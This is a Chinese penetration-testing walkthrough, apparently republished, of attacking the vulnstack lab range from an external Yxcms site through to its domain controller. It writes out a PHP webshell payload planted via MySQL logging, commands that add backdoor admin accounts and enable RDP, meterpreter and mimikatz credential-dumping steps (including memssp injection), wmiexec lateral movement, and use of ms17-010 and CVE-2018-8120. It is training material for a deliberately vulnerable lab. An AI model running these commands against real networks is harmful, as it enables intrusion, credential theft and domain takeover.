从外网到域控(vulnstack靶机实战)

297 阅读8分钟
原文链接: www.anquanke.com

 

前言

vlunstack是红日安全团队出品的一个实战环境,具体介绍请访问:vulnstack.qiyuanxuetang.net/vuln/detail…

拓扑结构大体如下:

话不多说,直接开搞..

 

外网初探

打开页面后发现是一个Yxcms的站点,关于Yxcms的漏洞可以参考:www.freebuf.com/column/1628…

然后找到后台,随手一个弱口令:admin、123456便进入了后台(实战中也有很多的站点是弱口令,只能说千里之堤溃于蚁穴)

关于Yx后台拿shell的方法还是很简单的,直接在新建模板哪里,将我们的一句话木马添加进去就ok了

比如这样

此时我们连接index.php即可获得shell

此时呢,我们先不往下进行,既然是靶机,我们就应该多去尝试一下发掘它其他的漏洞,蚁剑连接以后可以发现这是一个phpstudy搭建的网站,那么按照经验我们知道应该会有默认的phpmyadmin在,我们尝试访问:

发现猜测的没错,那么默认密码呢,root、root发现竟然也进去了,那么就来复习一下phpmyadmin后台getshell吧。phpmyadmin后台getshell一般有以下几种方式:

1、select into outfile直接写入
2、开启全局日志getshell
3、使用慢查询日志getsehll
4、使用错误日志getshell
5、利用phpmyadmin4.8.x本地文件包含漏洞getshell

我们先来看一下第一种,直接写shell

发现是不行的,而且该变量为只读,所以只能放弃。

再来看一下第二种,利用全局变量general_log去getshell

我们尝试更改日志状态、位置

set global general_log=on;# 开启日志

set global general_log_file='C:/phpstudy/www/yxcms/v01cano.php';# 设置日志位置为网站目录

发现已经成功更改

此时执行如下语句即可getshell

select '<?php assert($_POST["a"]); ?>'

剩下的就不再去测试了,大家有兴趣的可以去自行尝试

拿到shell之后我们就该提权了

 

杀入内网

发现是一个administrator权限的shell,然后查看3389是否开启

发现3389并没有开启,我们使用以下命令开启它:

REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

然后就发现3389已经成功的开启了

尝试添加用户:

C:\phpStudy\WWW\yxcms> net user test N0hWI!@! /add
命令成功完成。
C:\phpStudy\WWW\yxcms> net localgroup administrators test /add
命令成功完成。

可以发现已经成功添加一个用户上去

尝试远程桌面连接却失败了,nmap扫描3389端口发现状态为filtered

猜测应该是防火墙的问题,查看虚拟机发现猜测没错

此时思路一般如下:

1、反弹一个msf的shell回来,尝试关闭防火墙
2、尝试使用隧道连接3389

我们先来看一下第二种我们这里使用ngrok:

在ngrok中添加一条tcp隧道就ok然后了,然后我们就可以去连接目标的3389了

我们再来看一下第一种的操作,先反弹一个msf的shell回来

关闭防火墙:

meterpreter >  run post/windows/manage/enable_rdp

此时我们便可以直接连接目标主机了

下面我们就该去杀入域控了,杀入域之前我们先来做一些基础的信息收集,毕竟大佬说过渗透测试的本质是信息收集..

ipconfig /all    查询本机IP段,所在域等
net config Workstation    当前计算机名,全名,用户名,系统版本,工作站域,登陆域
net user    本机用户列表
net localhroup administrators    本机管理员[通常含有域用户]
net user /domain    查询域用户
net user 用户名 /domain    获取指定用户的账户信息
net user /domain b404 pass    修改域内用户密码,需要管理员权限
net group /domain    查询域里面的工作组
net group 组名 /domain    查询域中的某工作组
net group "domain admins" /domain    查询域管理员列表
net group "domain controllers" /domain    查看域控制器(如果有多台)
net time /domain    判断主域,主域服务器都做时间服务器
ipconfig /all    查询本机IP段,所在域等

经过一番信息收集,我们可以知道域控的地址为:192.168.52.138、域成员主机03地址:192.168.52.141

然后抓一下本地管理员的密码:

首先使用getsystem进行提权

我们此时已经获取了system权限(实战中可能需要其他更复杂的方式进行提权)

然后抓一下hash

发现失败了

然后我们用msf自带的模块进行hash抓取

meterpreter > run post/windows/gather/smart_hashdump

发现已经获取了hash

但是这样获取的hash不是很全面,我们再使用mimitakz进行抓取

meterpreter > mimikatz_command -f samdump::hashes

在本环境中我们是没有办法直接抓取明文的,当然也有办法绕过就是自己上传一个mimitakz使用debug进行明文抓取

我们先把mimitakz(实战中需要免杀处理)上传上去:

然后进行明文密码抓取

先进行权限提升

privilege::debug

然后使用

sekurlsa::logonPasswords

进行明文抓取

此时我们就已经获取到了administrator的明文密码

我们再对03进行渗透

 

内网漫游

先添加一条路由进来:

meterpreter > run autoroute -s 192.168.52.0/24

我们使用作者给出的漏洞列表进行尝试

然后使用08-067(www.freebuf.com/vuls/203881… 进行渗透,发现失败了..

对另外的漏洞也进行了测试
后来发现都还是失败了…额,后来查看发现是目标主机这些服务默认没有开启,需要手工开启…

算了直接使用ms17-010打一个shell回来,这里要注意一下,msf内置的17-010打2003有时候多次执行后msf就接收不到session,而且ms17-010利用时,脆弱的server 2003非常容易蓝屏。
本人也尝试了一下github上的windows 2003 – windows 10全版本的msf 17-010脚本,但效果都是一般..这里也给出脚本名称,大家可以自己去找一下..(ms17_010_eternalblue_doublepulsar)

这里的话呢,先给大家说一下思路,首先机器为域内主机,不通外网我们不能直接使用17-010来打,可以先使用msf的socks功能做一个代理出来,这样我们便可以使用nmap等对其进行简单的信息判断

像这样(-PN、-sT必须加):

proxychains nmap -p 3389 -Pn -sT 192.168.52.141

而且使用msf的代理之后就不能使用反向shell了,我们需要使用正向shell,然后我们可以先使用auxiliary/admin/smb/ms17_010_command来执行一些命令

然后这时候如果你的权限是system,你可以添加一个用户,然后使用exploit/windows/smb/ms17_010_psexec 尝试去打一个shell回来,因为这个模块需要你去指定一个管理员用户….但是我这里依然失败了,于是我便添加了一个用户上去,直接使用远程桌面连接上了2003的机器…

然后传了一个msf的正向shell,使用msf接收到了2003的shell

因为是2003的机器,直接getsystem便得到了system权限

然后用之前相同的方法便可以得到管理员的明文密码..

这里顺便说一下,除了上面的那种方法可以得到shell,也可以添加用户和使用regeorg+proxifier进入内网连接,然后用netsh中转得到session

至此2003的渗透基本就到此为止了,我们下面来怼域控!!!

其实在前面我们已经拿到了域用户的帐号密码,即administrator、hongrisec@2019我们现在要做的就是如何登录到域控上去

我们这里的话呢使用wmi进行操作

上传wmi到192.168.52.143(win7)这个机器上去,然后执行:

C:UsersAdministratorDesktop>cscript.exe wmiexec.vbs /cmd 192.168.52.138 admin
istrator hongrisec@2019 "whoami"

得到回显

然后通过相同的方式下载一个msf的木马,反弹一个shell回来(正向)

得到shell

这里很好奇的是,为了增加难度,我在域控上加了一个安全狗上去,但是在我执行msf的shell的时候并没有提示任何异常操作..

算了,不管他..继续,提权域控,导出域hash
先查看有那些补丁没有打..

run post/windows/gather/enum_patches

尝试了几个exp之后都失败了,于是寄出神器CVE-2018-8120

得到system权限,然后下面我们尝试去抓取域控上面的hash与明文密码..

我们这里使用直接上传mimikatz的方法进行抓取,这时候,终于安全狗报毒了…

我们换上免杀的mimikatz进行密码抓取

但这只是我们当前用户的密码,我们需要一个域管理的密码..
我们可以做如下操作:

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # misc::memssp
Injected =)

mimikatz # exit

此时我们只需要耐心等待域管理员登录就好了,我们模拟登录后再进行查看.

已经获得了域管理员的明文密码

 

写在后面

整个过程下来收获还是蛮大的,也意识到了自己的不足,当然我的这种方法可能不是最好的方法,而且作者也说了在域控上有redis漏洞等,文中都没有涉及,而且实战中肯定也会比这个复杂的多,本文也仅仅是给大家提供一个思路而已,如果文中有出错的地方还望指出,以免误人子弟。